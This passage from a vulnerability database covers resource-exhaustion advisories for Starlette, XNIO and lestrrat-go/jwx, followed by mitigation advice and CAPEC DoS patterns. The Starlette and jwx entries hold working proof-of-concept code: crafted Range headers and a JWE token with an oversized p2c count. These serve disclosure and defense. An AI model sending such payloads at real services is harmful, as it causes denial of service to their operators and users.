with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.\n\n This affects any Starlette application that uses:\n\n - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) \u2014 `starlette/staticfiles.py:178`\n - Direct ``starlette.responses.FileResponse`` responses\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport sys\nimport time\n\ntry:\n import starlette\n from starlette.responses import FileResponse\nexcept Exception as e:\n print(f\"[ERROR] Failed to import starlette: {e}\")\n sys.exit(1)\n\n\ndef build_payload(length: int) -\u003e str:\n \"\"\"Build the Range header value body: \u00270\u0027 * num_zeros + \u00270-\u0027\"\"\"\n return (\"0\" * length) + \"a-\"\n\n\ndef test(header: str, file_size: int) -\u003e float:\n start = time.perf_counter()\n try:\n FileResponse._parse_range_header(header, file_size)\n except Exception:\n pass\n end = time.perf_counter()\n elapsed = end - start\n return elapsed\n\n\ndef run_once(num_zeros: int) -\u003e None:\n range_body = build_payload(num_zeros)\n header = \"bytes=\" + range_body\n # Use a sufficiently large file_size so upper bounds default to file size\n file_size = max(len(range_body) + 10, 1_000_000)\n \n print(f\"[DEBUG] range_body length: {len(range_body)} bytes\")\n elapsed_time = test(header, file_size)\n print(f\"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\\n\")\n\n\nif __name__ == \"__main__\":\n print(f\"[INFO] Starlette Version: {starlette.__version__}\")\n for n in [5000, 10000, 20000, 40000]:\n run_once(n)\n\n\"\"\"\n$ python3 poc_dos_range.py\n[INFO] Starlette Version: 0.48.0\n[DEBUG] range_body length: 5002 bytes\n[DEBUG] elapsed time: 0.053932 seconds\n\n[DEBUG] range_body length: 10002 bytes\n[DEBUG] elapsed time: 0.209770 seconds\n\n[DEBUG] range_body length: 20002 bytes\n[DEBUG] elapsed time: 0.885296 seconds\n\n[DEBUG] range_body length: 40002 bytes\n[DEBUG] elapsed time: 3.238832 seconds\n\"\"\"\n```\n\n### Impact\nAny Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.",
"id": "GHSA-7f5h-v6xp-fcq8",
"modified": "2025-11-04T17:40:59Z",
"published": "2025-10-28T20:38:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62727"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/commit/4ea6e22b489ec388d6004cfbca52dd5b147127c5"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/commit/69ed26a85956ef4bd0161807eb27abf49be7cd3c"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kludex/starlette"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/releases/tag/0.49.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``"
}
GHSA-7F88-5HHX-67M2
Vulnerability from github – Published: 2024-03-22 21:30 – Updated: 2024-11-26 03:36A flaw was found in XNIO. The XNIO NotifierState that can cause a Stack Overflow Exception when the chain of notifier states becomes problematically large can lead to uncontrolled resource management and a possible denial of service (DoS). Version 3.8.14.Final is expected to contain a fix.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.8.13.Final"
},
"package": {
"ecosystem": "Maven",
"name": "org.jboss.xnio:xnio-api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.8.14.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-5685"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-24T20:23:58Z",
"nvd_published_at": "2024-03-22T19:15:07Z",
"severity": "HIGH"
},
"details": "A flaw was found in XNIO. The XNIO NotifierState that can cause a Stack Overflow Exception when the chain of notifier states becomes problematically large can lead to uncontrolled resource management and a possible denial of service (DoS). Version 3.8.14.Final is expected to contain a fix.",
"id": "GHSA-7f88-5hhx-67m2",
"modified": "2024-11-26T03:36:37Z",
"published": "2024-03-22T21:30:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5685"
},
{
"type": "WEB",
"url": "https://github.com/xnio/xnio/commit/ffabdcdda508ef87aeadad5ca3f854e274d60ec1"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:7637"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:7638"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:7639"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:7641"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:10207"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:10208"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:2707"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2023-5685"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2241822"
},
{
"type": "PACKAGE",
"url": "https://github.com/xnio/xnio"
},
{
"type": "WEB",
"url": "https://github.com/xnio/xnio/blob/3.8.13.Final/api/src/main/java/org/xnio/AbstractIoFuture.java#L249"
},
{
"type": "WEB",
"url": "https://issues.redhat.com/browse/XNIO-423"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "XNIO denial of service vulnerability"
}
GHSA-7F9X-GW85-8GRF
Vulnerability from github – Published: 2023-12-05 23:29 – Updated: 2023-12-05 23:29Summary
too high p2c parameter in JWE's alg PBES2-* could lead to a DOS attack
Details
The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack
PoC
package main
import (
"fmt"
"github.com/lestrrat-go/jwx/v2/jwa"
"github.com/lestrrat-go/jwx/v2/jwe"
"github.com/lestrrat-go/jwx/v2/jwk"
)
func main() {
token := []byte("eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6i_TaGsgqEOxU-1Sgdakp4mHq7UVhn-_REzOiGz2gg.gU_LfzhBXtQdwYjh.9QUIS-RWkLc.m9TudmzUoCzDhHsGGfzmCA")
key, err := jwk.FromRaw([]byte(`abcdefg`))
payload, err := jwe.Decrypt(token, jwe.WithKey(jwa.PBES2_HS256_A128KW, key))
if err == nil {
fmt.Println(string(payload))
}
}
Impact
It's a kind of Dos attack, the user's environment could potentially utilize an excessive amount of CPU resources.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lestrrat-go/jwx"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.27"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/lestrrat-go/jwx/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-49290"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-05T23:29:26Z",
"nvd_published_at": "2023-12-05T00:15:09Z",
"severity": "MODERATE"
},
"details": "### Summary\ntoo high p2c parameter in JWE\u0027s alg PBES2-* could lead to a DOS attack\n\n### Details\nThe JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive.\nTherefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack\n\n### PoC\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"github.com/lestrrat-go/jwx/v2/jwa\"\n\t\"github.com/lestrrat-go/jwx/v2/jwe\"\n\t\"github.com/lestrrat-go/jwx/v2/jwk\"\n)\n\nfunc main() {\n\ttoken := []byte(\"eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6i_TaGsgqEOxU-1Sgdakp4mHq7UVhn-_REzOiGz2gg.gU_LfzhBXtQdwYjh.9QUIS-RWkLc.m9TudmzUoCzDhHsGGfzmCA\")\n\tkey, err := jwk.FromRaw([]byte(`abcdefg`))\n\tpayload, err := jwe.Decrypt(token, jwe.WithKey(jwa.PBES2_HS256_A128KW, key))\n\tif err == nil {\n\t\tfmt.Println(string(payload))\n\t}\n}\n\n```\n\n### Impact\nIt\u0027s a kind of Dos attack, the user\u0027s environment could potentially utilize an excessive amount of CPU resources.\n",
"id": "GHSA-7f9x-gw85-8grf",
"modified": "2023-12-05T23:29:26Z",
"published": "2023-12-05T23:29:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lestrrat-go/jwx/security/advisories/GHSA-7f9x-gw85-8grf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49290"
},
{
"type": "WEB",
"url": "https://github.com/lestrrat-go/jwx/commit/64f2a229b8e18605f47361d292b526bdc4aee01c"
},
{
"type": "PACKAGE",
"url": "https://github.com/lestrrat-go/jwx"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "lestrrat-go/jwx\u0027s malicious parameters in JWE can cause a DOS"
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.